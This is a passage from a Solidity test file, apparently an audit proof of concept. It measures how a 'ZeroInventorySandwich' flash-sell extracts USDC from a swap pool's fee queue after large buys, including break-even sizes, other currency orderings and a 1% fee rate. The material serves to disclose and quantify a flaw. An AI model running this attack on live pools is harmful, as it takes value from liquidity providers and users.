            console2.log(string.concat('  after ordinary 500 USDC buy #', vm.toString(i + 1), ': ratio x1000 = ', vm.toString(_ratio()), ' | best zero-inventory result ', _ui(best)));
            assertLe(best, 0);
        }
    }

    function test_3c_precondition_noFeesNoGain_andEmptyRangeGuard() public {
        _setup(true);
        _swapAs(WHALE, true, true, 30_000e6);
        uint q = _queue();
        uint s0 = vm.snapshotState();

        // Selling more than the pool ever sold leaves the launch range: the guard at InternalSwapPool.sol:159 keeps the queue.
        (int p, Rec memory r) = _flash(_outstanding() * 110 / 100, true);
        console2.log(string.concat('flash-sell 110% of outstanding: result ', _ui(p), ' | queue sold ', _c(r.spent)));
        assertEq(r.spent, 0, 'no position is placed on a price that no liquidity backs');
        assertLt(p, 0);
        vm.revertToState(s0);

        // A small ordinary buy only converts part of the queue, at the unmanipulated price.
        Rec memory small = _swapAs(BUYER, true, true, 200e6);
        console2.log(string.concat('ordinary 200 USDC buy: queue sold ', _c(small.spent), ' of ', _c(q), ' | credited $', _u(small.conv)));
        assertLt(small.spent, q);
    }

    // ------------------------------------------------------------------------------------------------
    // 4. Same result in the other currency ordering
    // ------------------------------------------------------------------------------------------------

    function test_4_otherCurrencyOrdering() public {
        _setup(false);
        _swapAs(WHALE, true, true, 30_000e6);
        uint q = _queue();
        _logState('coin is currency1: one 30,000 USDC exact-input buy');
        uint s0 = vm.snapshotState();
        Rec memory a = _swapAs(BUYER, true, true, 5_000e6);
        vm.revertToState(s0);
        (uint bestCoins, int bestUsd) = _bestFlash();
        (int profit, Rec memory f) = _flash(bestCoins, false);
        console2.log(string.concat('  ordinary conversion credited $', _u(a.conv), ' | zero-inventory best $', _ui(profit), ' | queue credited $', _u(f.conv), ' | own fees $', _u(f.feeUsd)));
        assertEq(profit, bestUsd);
        assertGt(profit, 0);
        assertApproxEqAbs(f.spent, q, DUST);
        assertLt(f.conv + f.feeUsd, a.conv);
    }

    // ------------------------------------------------------------------------------------------------
    // 5. Checks on the measurement itself
    // ------------------------------------------------------------------------------------------------

    /**
     * @dev A holder who is not the large buyer, using its whole position, in two separate transactions.
     */
    function test_5a_thirdPartyHolderUsingItsWholePosition() public {
        _setup(true);
        _swapAs(WHALE, true, true, 30_000e6);
        vm.prank(BANKROLL);
        coin.transfer(HOLDER, 100_000_000e18);
        uint liq0 = _liquidation(HOLDER);
        Trip memory t = _roundTrip(HOLDER, 100_000_000e18);
        uint liq1 = _liquidation(HOLDER);
        console2.log(string.concat('third-party holder sells 100,000,000 coins, buys back with $', _u(uint(t.s.usd)), ': coins ', _ci(t.s.coin + t.b.coin), ' | queue credited $', _u(t.b.conv)));
        console2.log(string.concat('  sell everything now: $', _u(liq1), ' after vs $', _u(liq0), ' without = ', _ui(int(liq1) - int(liq0))));
        assertEq(t.s.usd + t.b.usd, 0);
        assertGt(t.s.coin + t.b.coin, 0);
        assertLt(liq1, liq0);
    }

    /**
     * @dev The result does not depend on the extra USDC that the other tests mint to the manager.
     */
    function test_5b_zeroInventoryVariantWithoutExtraManagerUsdc_andSolvency() public {
        _prepare(true);
        bot = new ZeroInventorySandwich(manager);
        _fund(WHALE);
        _swapAs(WHALE, true, true, 30_000e6);
        uint managerUsd = usd.balanceOf(address(manager));
        uint credits = _totalCredits();
        assertEq(managerUsd, 30_000e6, 'the manager holds this pool only');

        uint snap = vm.snapshotState();
        (uint bestCoins, int bestUsd) = _bestFlash();
        vm.revertToState(snap);
        (int profit,) = _flash(bestCoins, false);
        console2.log(string.concat('manager holds only this pool: flash-sell ', _c(bestCoins), ' coins -> $', _ui(profit), ' paid out'));
        assertEq(profit, bestUsd);
        assertGt(profit, 0);
        assertEq(usd.balanceOf(SINK), uint(profit));
        assertEq(managerUsd - usd.balanceOf(address(manager)), uint(profit) + (_totalCredits() - credits), 'USDC leaves the pool only as the payout and as recipient credits');
        assertEq(usd.balanceOf(address(escrow)), _totalCredits(), 'the escrow stays fully funded');
        assertEq(coin.balanceOf(address(isp)), _queue(), 'the swap pool holds exactly its queue');
        console2.log(string.concat('  pool USDC $', _u(managerUsd), ' -> $', _u(usd.balanceOf(address(manager))), ' | credits +$', _u(_totalCredits() - credits)));
    }

    /**
     * @dev Where the break-even lies, with a fine sweep of sizes.
     */
    function test_5c_breakEvenBuySize() public {
        _setup(true);
        uint base = vm.snapshotState();
        console2.log('one exact-input buy from launch | price multiple x100 | queue/(fee*depth) x1000 | best zero-inventory result (0.5% steps)');
        // Five sizes of sixty runs each; many more than that exhausts the test's memory on recorded logs.
        for (uint size = 12_500e6; size <= 14_500e6; size += 500e6) {
            _swapAs(WHALE, true, true, size);
            uint out = _outstanding();
            uint ratio = _ratio();
            uint multiple = _cap() * 100 / 12_500e6;
            uint snap = vm.snapshotState();
            int best = type(int).min;
            for (uint permille = 5; permille <= 300; permille += 5) {
                (int p,) = _flash(out * permille / 1000, true);
                vm.revertToState(snap);
                if (p > best) {
                    best = p;
                }
            }
            console2.log(string.concat('  $', _u(size), ' | ', vm.toString(multiple), ' | ', vm.toString(ratio), ' | ', _ui(best)));
            if (size <= 13_000e6) {
                assertLt(best, 0, 'no size pays below the break-even');
            }
            if (size >= 13_500e6) {
                assertGt(best, 0, 'some size pays above the break-even');
            }
            vm.revertToState(base);
        }
    }

    /**
     * @dev A large buy that is exact-output pays its fee in USDC, so it leaves no queue to take.
     */
    function test_5d_exactOutputBuyQueuesNothing() public {
        _setup(true);
        Rec memory w = _swapAs(WHALE, true, false, 660_000_000e18);
        console2.log(string.concat('exact-output buy of 660,000,000 coins: paid $', _u(uint(-w.usd)), ' | direct USDC fee $', _u(w.feeUsd), ' | queue ', _c(_queue())));
        assertEq(_queue(), 0);
        (, int best) = _bestFlash();
        console2.log(string.concat('  best zero-inventory result ', _ui(best)));
        assertLt(best, 0);
    }

    /**
     * @dev The queue and both legs' fees scale with the rate together, so a 1.00% rate does not close it.
     */
    function test_5e_postLiveRate() public {
        _setup(true);
        hook.setFeeCalculator(address(new FixedRateCalculator(1_000)));
        _swapAs(WHALE, true, true, 30_000e6);
        uint qValue = _spot(_queue());
        (uint bestCoins, int bestUsd) = _bestFlash();
        (int profit,) = _flash(bestCoins, false);
        console2.log(string.concat('1.00% rate: queue $', _u(qValue), ' at spot | zero-inventory best $', _ui(profit), ' = ', vm.toString(uint(profit) * 10_000 / qValue), ' bps'));
        assertEq(profit, bestUsd);
        assertGt(profit, 0);
    }
}
```
